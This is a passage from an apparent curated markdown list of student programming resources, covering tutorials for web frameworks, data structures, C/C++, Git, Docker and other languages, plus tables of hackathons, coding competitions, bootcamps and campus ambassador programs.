- [JavaScript Interview Questions](https://www.interviewbit.com/javascript-interview-questions/)
- [JavaScript CheatSheet](https://www.interviewbit.com/javascript-cheat-sheet/)
- [JavaScript Tutorial | Scaler Topics](https://www.scaler.com/topics/javascript/)
- **JavaScript Frameworks**
- **Angular**
- [Angular 7 - The Complete Guide by Maximilian Schwarzmüller | Udemy](https://www.udemy.com/the-complete-guide-to-angular-2/) :heavy_dollar_sign:
- [The Complete Angular Course: Beginner to Advanced by Mosh Hamedani | Udemy](https://www.udemy.com/the-complete-angular-master-class/) - :heavy_dollar_sign:
- [Angular Expo](https://angularexpo.com/) - Beautiful showcase of websites, applications and experiments using Angular
- [Made With Angular](https://www.madewithangular.com/) - Gallery of inspiring websites using Angular/AngularJS
- [Learn Angular 7 in 50 minutes](https://www.youtube.com/watch?v=5wtnKulcquA) - A free beginner's crash course :baby:
- [Build your first Angular app](https://scrimba.com/g/gyourfirstangularapp) - 33 interactive screencasts to take you from beginner to advanced
- **React.js**
- [React JS - Conference Videos](https://www.reactjsvideos.com/)
- [Learn React for free | Scrimba](https://scrimba.com/g/glearnreact)
- [Video Tutorials - Beginner to Intermediate | YouTube](https://www.youtube.com/watch?v=JPT3bFIwJYA&list=PL55RiY5tL51oyA8euSROLjMFZbXaV7skS)
- [Complete React Tutorial (& Redux) | YouTube](https://www.youtube.com/watch?v=OxIDLw0M-m0&list=PL4cUxeGkcC9ij8CfkAY2RAGb-tmkNwQHG)
- [ReactJS Tutorial | Codecademy](https://www.codecademy.com/learn/react-101) - Interactive
- [FreeCodeCamp Articles](https://medium.freecodecamp.org/search?q=react)
- [Reactstrap - React Bootstrap 4 Components](https://reactstrap.github.io/)
- [Few Projects for every React Dev](https://daveceddia.com/react-practice-projects/)
- [Famous GitHub Repos](https://medium.mybridge.co/react-js-open-source-for-the-past-year-2018-a7c553902010)
- [React 16 - The Complete Guide (incl. React Router 4 & Redux)](https://www.udemy.com/react-the-complete-guide-incl-redux/) :heavy_dollar_sign: - Worth it
- [Hello World | React.js Org](https://reactjs.org/docs/hello-world.html)
- [The Road to React | Book](https://drive.google.com/open?id=1ilClAJQ3FmCB-2cEuVDZtVMbeXumSj3t)
- [React For Beginners | Wes Bos](https://reactforbeginners.com/) :heavy_dollar_sign:
- [Advanced React | Wes Bos](https://advancedreact.com/) :heavy_dollar_sign:
- [React Fundamentals | Tyler McGinnis](https://tylermcginnis.com/courses/react-fundamentals/) :heavy_dollar_sign:
- [Modern React with Redux | Udemy](https://www.udemy.com/react-redux/) :heavy_dollar_sign:
- **React Native**
- [React Native - The Practical Guide](https://www.udemy.com/react-native-the-practical-guide/) :heavy_dollar_sign:
- **Redux.js**
- [Redux Tutorial #1 - React js tutorial - How Redux Works | YouTube](https://www.youtube.com/watch?v=1w-oQ-i1XB8&list=PLoYCgNOIyGADILc3iUJzygCqC8Tt3bRXt) :baby:
- [Redux Documentation](https://redux.js.org/introduction) :star:
- [Getting Started with Redux](https://egghead.io/courses/getting-started-with-redux)
- [Building React Applications with Idiomatic Redux](https://egghead.io/courses/building-react-applications-with-idiomatic-redux)
- [React Redux Tutorial](https://dev.to/valentinogagliardi/react-redux-tutorial-for-beginners-learning-redux-in-2018-13hj)
- [Full-Stack Redux Tutorial](http://teropa.info/blog/2015/09/10/full-stack-redux-tutorial.html)
- [Introduction to the Redux Challenges | freeCodeCamp](https://learn.freecodecamp.org/front-end-libraries/redux)
- [Redux | Tyler McGinnis](https://tylermcginnis.com/courses/redux/) :heavy_dollar_sign:
- **Vue.js**
- [Vue School](https://vueschool.io/courses) :free: + :heavy_dollar_sign:
- [Scrimba](https://scrimba.com/g/glearnvue)
- [Vue Cookbook](https://vuejs.org/v2/cookbook/)
- [Getting started with VueJS 2](https://www.youtube.com/watch?v=nyJSd6V2DRI)
- [Vue.js News](https://news.vuejs.org/)
- [Vue.js Showcase - Made With Vue.js](https://madewithvuejs.com/)
- **Web Accessibility**
- [Accessibility MDN Web Docs](https://developer.mozilla.org/en-US/docs/Learn/Accessibility)
- [Web Accessibility Tutorials](https://www.w3.org/WAI/tutorials/)
- [A Video Tutorial on Web Accessibility for Impaired Users | YouTube](https://www.youtube.com/watch?v=aqM6rV5IBlg&t=1s)
- [WebAim Web Accessibility Resources and Tools](https://webaim.org/resources/)
- [Web Accessibility Checklist - The A11Y Project](https://a11yproject.com/checklist)
- [ARIA - Accessibility | MDN](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA)
- **Frontend DevTools**
- **Package Managers**
- [NPM | YouTube](https://www.youtube.com/watch?v=76A2Ppenxh8)
- [Yarn | YouTube](https://www.youtube.com/watch?v=g9_6KmiBISk)
- [npx](https://medium.com/@maybekatz/introducing-npx-an-npm-package-runner-55f7d4bd282b)
- **Bundlers**
- [Webpack - The most used bundler](https://webpack.js.org/guides/getting-started/)
- [Webpack | YouTube](https://www.youtube.com/watch?v=GU-2T7k9NfI)
- [Parcel - The predicted webpack killer](https://medium.com/codingthesmartway-com-blog/getting-started-with-parcel-197eb85a2c8c)
- [Browserify - The first bundler](https://scotch.io/tutorials/getting-started-with-browserify)
- [Rollup](https://medium.com/@yonester/bundling-with-rollup-the-basics-b782b55f36a8)
---
## 1.7 Data Structures
- **Online Platforms**
- [CodeChef](https://www.codechef.com/) - CodeChef competitive programming site
- [CodeSignal](https://codesignal.com/) - (formerly CodeFights) Fun gaming approach to Coding contests and Interview practices.
- [Codeforces](https://codeforces.com/) - Great site for preparing for programming contests
- [GeeksforGeeks](https://www.geeksforgeeks.org/must-do-coding-questions-for-companies-like-amazon-microsoft-adobe/) - Must do coding questions for product based companies
- [Hackerearth](https://www.hackerearth.com/practice/codemonk/) - Code Monk to start with programming - programming fundamentals
- [Hackerrank](https://www.hackerrank.com/interview/interview-preparation-kit) - Interview preparation kit
- [InterviewBit](https://www.interviewbit.com/courses/programming) - Best platform to get prepared for Data Structures based interviews
- [InterviewCake](https://www.interviewcake.com/) - An interactive interview prep site for DSA and some System Design with free 3 week access through Github student pack
- [AlgoDaily](https://algodaily.com/) - Daily interview questions sent by mail, as well as a full course and online IDE as well as visualizations and tutorials to solve the problems
- [LeetCode](https://www.leetcode.com) - Platform to prepare for technical interviews with real interview questions
- [Sphere Online Judge](https://www.spoj.com/problems/classical/) - Great head start for learning Data Structures
- [Prepbytes](https://mycode.prepbytes.com/interview-coding/practice) - Prepbytes Coding Platform - Get problems as per your coding skills.
- [UVa Online Judge](https://uva.onlinejudge.org) - The site to submit [Competitive Programming 3](http://www.lulu.com/shop/steven-halim/competitive-programming-3/paperback/product-21059906.html) data structures problems
- [Codewars](https://www.codewars.com/) - Interesting ranking system with beautiful UI for competitive programming and interview prep.
- [CodinGame](https://www.codingame.com/) - Competitive programming with game like challenges
- [CS50 on HarvardX](https://www.edx.org/course/cs50s-introduction-computer-science-harvardx-cs50x) - One of the best computer science courses available online (:heavy_dollar_sign: for certification)
- [Codility](https://app.codility.com/programmers/) - Develop your coding skills with lessons to take part in challenges
- [Zen of Programming](https://zen-of-programming.com/) - A frequently updated blog great for beginners and simplified references.
- [Scaler Topics](https://www.scaler.com/topics/) - Platform to access free Resouces to coding tutorials
- [ERD Lab](https://www.erdlab.io/) - Free cloud based entity relationship diagram (ERD) tool made for students.
- **Tutorials & Practice**
- [Visual Algo](https://visualgo.net/en) - Understanding DS & Algo through animations.
- [E-maxx](https://e-maxx.ru/algo/) - Russian version of popular e-maxx, An excellent set of study material for DS & ALgo.
[English version of e-maxx.](https://cp-algorithms.com/) (Translation is almost complete)
- [All Good Tutorials on Codeforces](http://codeforces.com/blog/entry/57282) - All of the best tutorials on Codeforces all at one place.
- [DS & Algo + Maths + C++](http://codeforces.com/blog/entry/13529) - Another set of good compilation of resources to study.
- [Data Structures and Algorithms](https://discuss.codechef.com/questions/48877/data-structures-and-algorithms) - Another set of good compilation of resources to learn and practice. This one is done by Codechef.
- [Problem Topics](http://codeforces.com/blog/entry/55274) - Topic-wise list of problems.
- [Cracking the Coding Interview](http://www.crackingthecodinginterview.com/)
- [Excercism](https://exercism.io/) - Code practice and mentorship.
- [Leet Code](https://leetcode.com)
- [Data Structures and Algorithm](https://nptel.ac.in/courses/106/102/106102064/ "NPTEL")
- **Books**
- [Competitive Programming by Felix Halim and Steven Halim](https://www.comp.nus.edu.sg/~stevenha/myteaching/competitive_programming/cp1.pdf)
- [The Hitchhiker's Guide to the Programming Contests](https://comscigate.com/Books/contests/icpc.pdf) - Goto book for competitive programming enthusiasts.
- [CLRS](http://ressources.unisciel.fr/algoprog/s00aaroot/aa00module1/res/%5BCormen-AL2011%5DIntroduction_To_Algorithms-A3.pdf) - Holy Bible for Design and Analysis of algorithms
- [Algorithm Design by Kleinberg Tardos](http://www.cs.sjtu.edu.cn/~jiangli/teaching/CS222/files/materials/Algorithm%20Design.pdf) - Another goto book for easy to understand algorithm design and analysis
- [Coding Interview University - Github](https://github.com/jwasham/coding-interview-university) - Strongly recommended to learn DS and Computer Science fundamentals
- [Algo & DS in different languages](https://github.com/ZoranPandovski/al-go-rithms) - Algorithm and Data Structure in different programming languages
- [Clean code](https://www.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882) - Clean Code: A Handbook of Agile Software Craftsmanship :heavy_dollar_sign:
- [Domain Driven Design](https://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215/) - Domain-Driven Design: Tackling Complexity in the Heart of Software 1st Edition :heavy_dollar_sign:
## 1.8 Alexa Tutorials
- [Learn Alexa | Codecademy](https://www.codecademy.com/learn/learn-alexa)
- [ Fact Skill Tutorial - Build an Alexa Skill in 6 Steps | Amazon](https://developer.amazon.com/alexa-skills-kit/tutorials/fact-skill-1)
- [Comprehensive Alexa Skill Development course | Udemy](https://www.udemy.com/comprehensive-alexa-skill-development-course/?siteID=Fh5UMknfYAU-DbsLrZFg2AAmpu3BgGbHJQ&LSNPUBID=Fh5UMknfYAU) :heavy_dollar_sign:
- [Building Alexa Skills from Scratch | YouTube](https://www.youtube.com/watch?list=PL2KJmkHeYQTNwlZqLh_ptZhSNZf93e8Sp&v=1cx_I0kARnU)
- [Developing Alexa Skills for Amazon Echo | PluralSight](https://www.pluralsight.com/courses/amazon-echo-developing-alexa-skills) :heavy_dollar_sign: (Free 10-day trial)
- [Alexa Skills Development | Qwiklabs](https://qwiklabs.com/quests/19)
## 1.9 C Language
- [HackerRank]( https://www.hackerrank.com/domains/c)
- [Programiz](https://www.programiz.com/c-programming)
- [Fresh2Refresh](https://fresh2refresh.com/c-programming/)
- [Learn C](https://www.learn-c.org/)
- [C Tutorial](https://www.scaler.com/topics/c)
- [Randu](https://randu.org/tutorials/c/)
- [W3Schools](https://www.w3schools.in/c-tutorial/)
- [SoloLearn: Learn to Code for Free!](https://www.sololearn.com/) :baby:
- [C Interview Questions](https://www.interviewbit.com/c-interview-questions/)
## 1.10 C++ Language
- [HackerRank](https://www.hackerrank.com/domains/cpp)
- [Programiz](https://www.programiz.com/cpp-programming)
- [Hackr.Io](https://hackr.io/tutorials/learn-c-plus-plus)
- [Learn C ++](http://www.cplusplus.com/doc/tutorial/)
- [Fluent CPP](https://www.fluentcpp.com/)
- [C++ Class | Google for Education ](https://developers.google.com/edu/c++/)
- [Tutorials Point](https://www.tutorialspoint.com/cplusplus/)
- [GeeksForGeeks](https://www.geeksforgeeks.org/c-plus-plus/)
- [C++ Tutorial](https://www.scaler.com/topics/cpp/)
- [C++ For Programmers | Udacity](https://in.udacity.com/course/c-for-programmers--ud210)
- [Software Design Using C++](https://cis.stvincent.edu/html/tutorials/swd/)
- [C++ Interview Questions](https://www.interviewbit.com/cpp-interview-questions/)
## 1.11 Git and Github
- [Git Tutorials](https://www.atlassian.com/git/tutorials/comparing-workflows)
- [How to use Git and Github | Udacity](https://in.udacity.com/course/how-to-use-git-and-github--ud775-india)
- [Version Control with Git | Udacity](https://in.udacity.com/course/version-control-with-git--ud123)
- [Introduction to Git and Github | YouTube](https://www.youtube.com/playlist?list=PLRqwX-V7Uu6ZF9C0YMKuns9sLDzK6zoiV)
- [Pro Git Book](https://git-scm.com/book/en/v2)
- [LearnGitBranching](https://learngitbranching.js.org/)
- [GIT PURR! Git Commands Explained with Cats!](https://girliemac.com/blog/2017/12/26/git-purr/)
- [git - the simple guide](http://rogerdudler.github.io/git-guide/)
- [GIT: A Visual Git Reference](https://marklodato.github.io/visual-git-guide/index-en.html)
- [Mastering Git by thoughtbot](https://thoughtbot.com/upcase/mastering-git)
- [Git - Progate](https://progate.com/languages/git)
- [Intoduction to Git for DataScience](https://www.datacamp.com/courses/introduction-to-git-for-data-science)
- [Git training](https://intellipaat.com/git-github-training/)
- [Git Interview Questions](https://www.interviewbit.com/git-interview-questions/)
- [Git vs Github](https://www.interviewbit.com/blog/git-vs-github/)
- [Git Tutorial | Scaler Topics](https://www.scaler.com/topics/git/)
- [An Introduction to Github](https://www.scaler.com/topics/what-is-github/)
- [Git Vs Github by Scaler Topics](https://www.scaler.com/topics/git-vs-github/)
## 1.12 R Language
- [RStudio](https://www.rstudio.com/online-learning/)
- [Kaggle Kernels](https://www.kaggle.com/kernels?sortBy=hotness&group=everyone&pageSize=20&language=R)
- [R-Bloggers](https://www.r-bloggers.com/)
- [Introduction to Data Science by Rafael A. Irizarry](https://rafalab.github.io/dsbook/)
- [R for Data Science by Garrett Grolemund and Hadley Wickham](https://r4ds.had.co.nz/)
- [Swirl](https://swirlstats.com/students.html)
- [Hands-On Programming with R by Garrett Grolemund](https://rstudio-education.github.io/hopr/)
- [Introduction to Statistical Learning with R ](http://faculty.marshall.usc.edu/gareth-james/ISL/ISLR%20Seventh%20Printing.pdf)
- [Advanced R Programming ](https://englianhu.files.wordpress.com/2016/05/advanced-r.pdf)
- [R for Dummies](http://sgpwe.izt.uam.mx/files/users/uami/gma/R_for_dummies.pdf)
## 1.13 Haskell
- [Happy Learn Haskell Tutorial](http://www.happylearnhaskelltutorial.com/)
- [Learn You a Haskell](http://learnyouahaskell.com/)
## 1.14 MongoDB
- [MongoDB Tutorial](https://www.tutorialspoint.com/mongodb/)
- [MongoDB University](https://university.mongodb.com/)
## 1.15 Prolog
- [Michael Spivey - An introduction to logic programming through Prolog](https://spivey.oriel.ox.ac.uk/wiki/files/logprog/logic.pdf)
## 1.16 C# Language
- [LearnCS](https://www.learncs.org)
- [TutorialsPoint](https://www.tutorialspoint.com/csharp/index.htm)
- [SoloLearn](https://www.sololearn.com/Course/CSharp/)
- [Learn C# building a simple rpg](https://scottlilly.com/learn-c-by-building-a-simple-rpg-index/)
- [DotNetPerls - C# Reference](https://www.dotnetperls.com/)
- [The "Yellow Book": Introduction to C# Programming by Rob Miles](http://www.csharpcourse.com/)
- [MSDN C# Fundamentals for Absolute Beginners](http://channel9.msdn.com/Series/C-Fundamentals-for-Absolute-Beginners)
- [Refactoring Guru - Design Patterns](https://refactoring.guru/pt-br/design-patterns)
- [Learn C# | Tutlane](https://www.tutlane.com/tutorial/csharp)
- [C# Interview Questions](https://www.interviewbit.com/c-sharp-interview-questions/)
## 1.17 DevDocs
- [API documentation for most programming languages](https://devdocs.io) - Works offline
## 1.18 Docker
- [Official Documentation on website](https://docs.docker.com/)
- [Free Course on Youtube](https://www.youtube.com/watch?v=h0NCZbHjIpY&list=PL9ooVrP1hQOHUKuqGuiWLQoJ-LD25KxI5) :star:
- [Paid Docker Course on udemy](https://www.udemy.com/docker-tutorial-for-devops-run-docker-containers/) :heavy_dollar_sign:
- [Docker Cheat Sheet](https://gist.github.com/Nairit11/59d7ef2beca03b6a770e4c278e4b4aa9)
- [Docker-InterviewBit](https://www.interviewbit.com/docker-interview-questions/)
- [Docker Overview](https://docs.docker.com/get-started/overview/)
- [Docker Tutorial for Beginners – Introduction & Getting Started](https://spacelift.io/blog/docker-tutorial)
## 1.19 Microsoft Technologies
- [Microsoft Learn](https://docs.microsoft.com/en-us/learn/)
- [Microsoft Developer Network (MSDN)](https://msdn.microsoft.com/en-US/)
- [Microsoft Visual Studio](https://visualstudio.microsoft.com/vs/getting-started/)
## 1.20 Scala
- Books
- [The Neophyte's Guide to Scala](https://danielwestheide.com/scala/neophytes.html)
- [Programming in Scala](https://www.artima.com/shop/programming_in_scala_3ed) A book written by the programming language author, Martin Odersky among others. [The first edition is avalible for free](https://www.artima.com/pins1ed/)
- Online Courses
- [Functional Programming Principles in Scala](https://www.coursera.org/learn/progfun1) A course taught by the programming language author, Martin Odersky.
## 1.21 Programming Notes for Professionals
- Books
- [Programming Notes for Professionals books](https://goalkicker.com)
## 1.22 MATLAB/Octave
- [MATLAB Academy](https://matlabacademy.mathworks.com/)
- [Octave Tutorial](https://en.wikibooks.org/wiki/Octave_Programming_Tutorial/)
- [Beginners MATLAB edX](https://www.edx.org/course/matlab-octave-beginners-epflx-matlabeoctavebeginnersx)
## 1.22 Full-Stack Web Development
For Becoming a Full-Stack Web Developer you need to know about Front-End & Back-End.
- [How The Internet Works](https://www.youtube.com/watch?v=7_LPdttKXPc) Things Like Hosting, DNS, HTTPS, Browsers, Domain Names.
- [Basic Tools]() Tools Like : Text Editor (Visual Studio Code), Terminal(hyper), Design(Figma).
- [HTML](https://www.youtube.com/watch?v=XiQ9rjaa2Ow) Best Practices, Semantic HTML, Forms & Validations, Accessibility, SEO.
- [CSS](https://www.youtube.com/watch?v=Tfjd5yzCaxk) [Flexbox](https://www.youtube.com/watch?v=qqDH0T6K5gY), [CSS Grid](https://www.youtube.com/watch?v=BDOzg4lXcSg), Custom Properties,[Animations/Transitions](https://animejs.com/), Responsive Design, CSS Preprocessor, Modern CSS, CSS Frameworks [Tailwind CSS](https://tailwindcss.com/),[Bootstrap](https://getbootstrap.com/).
- [Full Stack Developer](https://www.interviewbit.com/full-stack-developer-interview-questions/)
## Front-End Starts
- [JavaScript](https://www.youtube.com/watch?v=jS4aFq5-91M)
- [TypeScript](https://www.youtube.com/watch?v=ahCwqrYpIuM)
- [Front-End Framework] : [React](https://www.youtube.com/watch?v=UGcALH8kPC0&list=PLkwxH9e_vrAK4TdffpxKY3QGyHCpxFcQ0), [Vue](https://www.youtube.com/channel/UCxA99Yr6P_tZF9_BgtMGAWA), [Angular](https://www.youtube.com/watch?v=Fdf5aTYRW0E), [Svelte](https://www.youtube.com/watch?v=uK2RnIzrQ0M).
- [State Management] : [ Context API (React)](https://www.youtube.com/watch?v=35lXWvCuM8o), [Redux (React)](https://www.youtube.com/watch?v=CVpUuw9XSjY), [Vuex (Vue)](https://www.youtube.com/watch?v=oxUyIzDbZts), [Services (Angular)]().
- [Server Side Rendering (SSR)] : [Gatsby (React)](https://www.youtube.com/user/Weibenfalk), [Gridsome (Vue)](https://www.youtube.com/watch?v=vB6rmWCmANA), [Next.js (React)](https://www.youtube.com/channel/UC7Wpv0Aft4NPNhHWW_JC4GQ), [Nuxt.js (Vue)](https://www.youtube.com/watch?v=ltzlhAxJr74), [11ty]().
- [Static Site Generators] : [Next.js (React)](https://www.youtube.com/channel/UC7Wpv0Aft4NPNhHWW_JC4GQ), [Nuxt.js (Vue)](https://www.youtube.com/watch?v=ltzlhAxJr74).
- [Package Managers] : [NPM](), [Yarn]().
- [Module Bundlers] : [Webpack](), [Parcel](), [Rollup]().
- [Version Control] : [Git](), [GitHub]().
- [GraphQl](https://www.youtube.com/watch?v=ed8SzALpx1Q).
- [Progressive Web Apps (PWA)](https://www.youtube.com/playlist?list=PL4cUxeGkcC9gTxqJBcDmoi5Q2pzDusSL7).
- [JAMstack](https://www.youtube.com/watch?v=73b1ZbmB96I)
- [Web Assembly](https://www.youtube.com/watch?v=cbB3QEwWMlA).
- [Speech Recognition](https://alan.app/).
## Back-End Starts
- [Pick A Language] : [JavaScript (Node.js)](https://www.youtube.com/watch?v=fBNz5xF-Kx4), [JavaScript (Deno)](https://www.youtube.com/watch?v=3Vt_cjgojDI), [Python](https://www.youtube.com/user/CalebTheVideoMaker2), [Rust](https://www.youtube.com/watch?v=zF34dRivLOw), [C#](https://www.youtube.com/watch?v=GhQdlIFylQ8), [Java](https://www.youtube.com/watch?v=GoXwIVyNvX0), [PHP](https://www.youtube.com/watch?v=OK_JCtrrv-c), [Go](https://www.youtube.com/watch?v=YS4e4q9oBaU), [Ruby](https://www.youtube.com/watch?v=t_ispmWmdjY).
- [Back-End Frameworks] : [Laravel (PHP)](https://www.youtube.com/watch?v=MFh0Fd7BsjE), [Spring (Java)](https://www.youtube.com/watch?v=vtPkZShrvXQ), [Ruby on Rails (Ruby)](https://www.youtube.com/watch?v=B3Fbujmgo60), [Express (Node.js)](https://www.youtube.com/watch?v=L72fhGm1tfE), [Django (Python)](https://www.youtube.com/channel/UCTZRcDjjkVajGL6wd76UnGg), [Flask (Python)](https://www.youtube.com/watch?v=Z1RJmh_OqeA), [Blazor (C#)](https://www.youtube.com/channel/UCTbHPk0bIOQwTXuGgD195bw).
- [Databases] Types : Relational [✅ PostgreSQL](https://www.youtube.com/watch?v=qw--VYLpxG4), [MySQL](https://www.youtube.com/watch?v=9ylj9NR0Lcg), [Azure Cloud SQL](), [MS SQL]() & NoSQL / Cloud [✅ MongoDB](https://www.youtube.com/watch?v=-56x56UppqQ), [AWS](), [Airtable](https://www.youtube.com/watch?v=FEoEvSmtmPQ), [FaunaDB](https://www.youtube.com/watch?v=2CipVwISumA), [Firebase](https://www.youtube.com/watch?v=9kRgVxULbag), [HarperDB](https://www.youtube.com/watch?v=fAKZxK-XamM)
- [APIs](https://www.youtube.com/watch?v=FLnxgSZ0DG4).
- [Authentication] Providers [Auth0](https://www.youtube.com/watch?v=MqczHS3Z2bc), [Firebase](https://www.youtube.com/watch?v=PKwu15ldZ7k)
## 1.23 Go Language
- [Go,Progate](https://progate.com/languages/go)
- [Go lang Tutorial For Beginners,Edureka Youtube](https://www.youtube.com/watch?v=Q0sKAMal4WQ)
- [Go by Example](https://gobyexample.com/)
---
# 2. Hackathons and Events
## 2.1 Top Global Hackathons 🌐
|Id |Name | Place| Travel Reimbursement |Application Start | Application End | Event Date |
|--|------ |---|---| ------ | ----| ----- |
|1 | [Call for Code](https://callforcode.org/challenge/) | Online | - | Feb 2019 | Jul 2019 | Jul 29 2019 |
|2 | [Capgemini Tech Challenge](https://techchallenge.in.capgemini.com/) | India | - | Sept-Oct | - | Ended |
|3 | [Conuhacks](http://www.conuhacks.io/) | Canada | - | - | - | 1/26/2019 |
|4 | [Djangothon 2018](https://www.hackerearth.com/sprints/djangothon-2018/) | Bengaluru, India | - | - | - | 11/17/18 |
|5 | [Facebook Hackathon](https://devcommunitychallenge.devpost.com/) | Online | NA | - | - | n/a |
|6 | [Global Hackathon Seoul](https://seoul.globalhackathon.io/) | South Korea | YES | - | - | Dead page |
|7 | [Hack In The North](https://www.hackinthenorth.com/)| India | - | - | March | N/A |
|8 | [Hack Western](https://hackwestern.com/) | Western University | Yes | Nov End | Mid Oct | 11/23/18 |
|9 | [HackDTU](http://hackdtu.tech/) | India | No | - | - | Ended |
|10 | [HackDavis](http://hackdavis.io/)|USA | - | - | - | N/A |
|11 | [HackDuke](http://www.hackduke.com/) | USA | - | - | - | Dead page |
|12 | [HackIIITD](http://esya.iiitd.edu.in/hackiiitd/) | India | No | August-September | - | Ended |
|13 | [Hackinit](https://hackinit.org/) | China | - | - | - | Ended |
|14 | [HackISU](https://hackisu.org/)| USA | No | October | - | Ended |
|15 | [HackMIT](https://hackmit.org/) | USA | Yes|Mid Sept | July end | Ended |
|16 | [HackNC](https://hacknc.com) | USA | Yes (on a case by case basis) | Check website | Week before event | Ended, 2019 is open for pre-reg |
|17 | [HackNY](http://hackny.org/hackathon/) | USA | Yes | - | - | Ended |
|18 | [HackPrinceton](https://www.hackprinceton.com/)|USA | - | - | - | 11/9/18 |
|19 | [HacktheNorth](http://pennapps.com/)| Canada| Yes|Mid Sept | July end | Ended |
|20 | [Hacktoberfest](https://hacktoberfest.digitalocean.com/) | Online | - | - | - | Annually every October |
|21 | [HackUCI](https://www.hackuci.com/) | USA | - | - | - | N/A |
|22 | [Hackdotslash](https://hackdotslash.co.in/) | India | - | February | - | 2019 |
|23 | [HackHers](https://ruhackhers.org/) | New Brunswick | - | February | - | 2019 |
|24 | [WiHacks](https://wichacks.io/) | New York | - | March | - | 2019 |
|25 | [Techtogether](https://boston.techtogether.io/) | Boston | - | March | - | 2019 |
|26 | [Hack & Soehne](https://hackundsoehne.de/)| Germany| Yes | - | - | Several events during the year |
|27 | [Major League Hacking](https://mlh.io/seasons/na-2019/events)| Canada, USA, Mexico | - | - | - | Many events during the year |
|28 | [START Hack](https://starthack.ch/)| Switzerland| - | - | - | 8-10 March, 2019 |
|29 | [Kick Start](https://codingcompetitions.withgoogle.com/kickstart/schedule)| Online| - | - | - | Multiple rounds|
----------------------------------------------------------
## 2.2 Competitions 🏆
|ID| Name | Location |
|--|------ |----------|
|1 | [Accenture Innovation Challenge](https://accentureinnovationchallenge.com/) | Online & Onsite |
|2 | [ACM - ICPC](https://www.codechef.com/icpc/2020) | Online & On-Site |
|3 | [CodersBit](https://www.interviewbit.com/codersbit/) | Online |
|4 | [Facebook Hacker Cup](https://www.facebook.com/hackercup/) | Online |
|5 | [Code Gladiators](https://www.techgig.com/codegladiators) | Online & Onsite |
|6 | [E-Yantra](http://www.e-yantra.org/) | Online & Onsite |
|7 | [Red Bull Basement University](https://www.redbull.com/in-en/projects/red-bull-basement-university) | - |
|8 | [Shell Ideas360](https://bit.ly/14iPmYn)| Online & Onsite |
|9 | [Sony World Photography Awards – Youth Award](https://bit.ly/193GCTt) | Online |
|10| [Doodle 4 Google](https://doodles.google.com/d4g/) | Online |
|11| [UN - Volunteer](http://in.one.un.org/who-we-are/unv-india/) | - |
|12| [India Innovation Challenge - IICDC](https://innovate.mygov.in/india-innovation-challenge-design-contest-2018/) |Online & Onsite |
|13| [Quest Ingenium](https://www.questingenium.com/) | - |
|14| [ROBOCON](http://aburobocon2019.mnb.mn/en) | Onsite |
|15| [Walmart-Codehers](https://dare2compete.com/o/walmart-codehers-walmart-india-pvt-ltd-167089) |Online|
|16| [Codechef-Snackdown](https://snackdown.codechef.com/) | Online & Onsite |
## 2.3 Hackathon Search Portals :dart:
|s.no| Name | Location | Category |
|---| ------ |---| --- |
|1| [HackSociety](https://hacksociety.tech/attend/)| India | ALL |
|2| [DevPost](https://devpost.com/hackathons) | Online & On-site | ALL |
|3| [HackerEarth](https://hackerearth.com/) | Online & On-site | ALL |
|4| [Hackathon.io](http://www.hackathon.io/events) | Global | ALL |
|5| [TechGIG - Search Online Competitions](https://www.techgig.com/challenge)| Online & On-Site |ALL |
|6| [Analytical Vidya](https://www.analyticsvidhya.com/) | Online & On-Site | Data Science | |
|7| [Hackathon.com](https://www.hackathon.com/) [Online & On-site] | Global | ALL |
|8| [Dare2compete](https://dare2compete.com/bites) | Online & On-site | India | ALL |
|9| [Kaggle Competitions](https://www.kaggle.com/competitions) | Online | Data Science |
|10| [MLH](https://mlh.io/) | Global | ALL|
## 2.4 Events 🎫
> **Check out these events for your region**
1. Google Developer Day - Organized by GDG
2. Google IO extended - Organized by GDG
3. Google Solve for India
3. Paytm Build for India Workshops [ Delhi, Bangalore ]
4. NVIDIA Developer Connect [ Global ]
5. AWS meetups [ Global ]
6. BrazilJS Conference [August, RS, Brazil](https://braziljs.org/conf/)
7. Hackathon at the NS [Netherlands](https://werkenbijns.nl/hackathon/)
8. [Hacktoberfest](https://hacktoberfest.digitalocean.com/)
9. [Codementor Events](https://www.codementor.io/events)
## 2.5 Startup Summits, Competitions and Bootcamps :neckbeard:
|ID| Name | Location |
|--|------ |----------|
|1| [Eureka - IITB](http://www.ecell.in/eureka/)| Mumbai, INDIA |
|2| [MIT - Entrepreneurship Bootcamp](http://bootcamp.mit.edu/entrepreneurship/) | Online & USA |
|3 | [Startup Grind Global Conference](http://www.startupgrind.com/conference/#/) | Redwood City, California |
|4 | [Next Gen Summit](https://www.marketing.org/conference/show/id/BMAANC2018) | New York |
|5 | [Y Combinator's Startup School](https://www.startupschool.org/) | Online |
|6 | [School of AI](https://picampus-school.com/programme/school-of-ai/) | Rome, Italy |
|7 | [European Innovation Academy](https://www.inacademy.eu/) | Portugal, China |
|8 | [Startup Weekend - DTU](http://www.ecelldtu.in/) | Delhi, India|
|9 | [Watson School Incubator](https://watson.is/semester-incubator-application/) | USA |
|10 | [DevMountain](https://devmountain.com/) | UT, AZ, TX |
|11 | [Product School](https://www.productschool.com) | Online, USA, & Toronto |
|12 | [HackerYou](https://hackeryou.com/) | Toronto |
|13 | [BrainStation](https://brainstation.io/) | Online, USA, & Canada |
|14 | [Lighthouse Labs](https://lighthouselabs.ca/) | Canada |
|15 | [RED Academy](https://redacademy.com) | Canada |
|16 | [Flatiron School](https://flatironschool) | Online, USA |
## 2.6 Hiring Challenges
|ID| Name | Location |
|--|------ |----------|
|1| [Google Kickstart](https://code.google.com/codejam/kickstart/)| Online |
|2| [CodeAgon- Codenation Hiring Challenge](https://www.hackerrank.com/codeagon) | Online |
|3| [Codhers- Adobe Hiring Challenge](https://www.hackerrank.com/adobe-codhers) | Online |
|4| [CodeUrWay- Visa Hiring Challenge](https://www.hackerrank.com/visa-codeurway-2017) | Online |
---
# 3. Student Benefits and Programs :fire:
## Campus Ambassador Programs :v:
1. [Microsoft Learn Student Ambassadors](https://studentambassadors.microsoft.com/)
2. [GitHub Campus Experts](https://githubcampus.expert/)
3. [College Representative - E-Cell IITB](https://www.ecell.in/cr/)
4. [Internshala Student Partner - | ISP](https://internshala.com/)
5. [Progate Student Ambassador](http://progate.com/)
6. [ISB - YLP Campus Ambassador Program ](http://www.isb.edu/ylp/CAP)
7. [GeeksforGeeks Campus Ambassador](https://www.geeksforgeeks.org/)
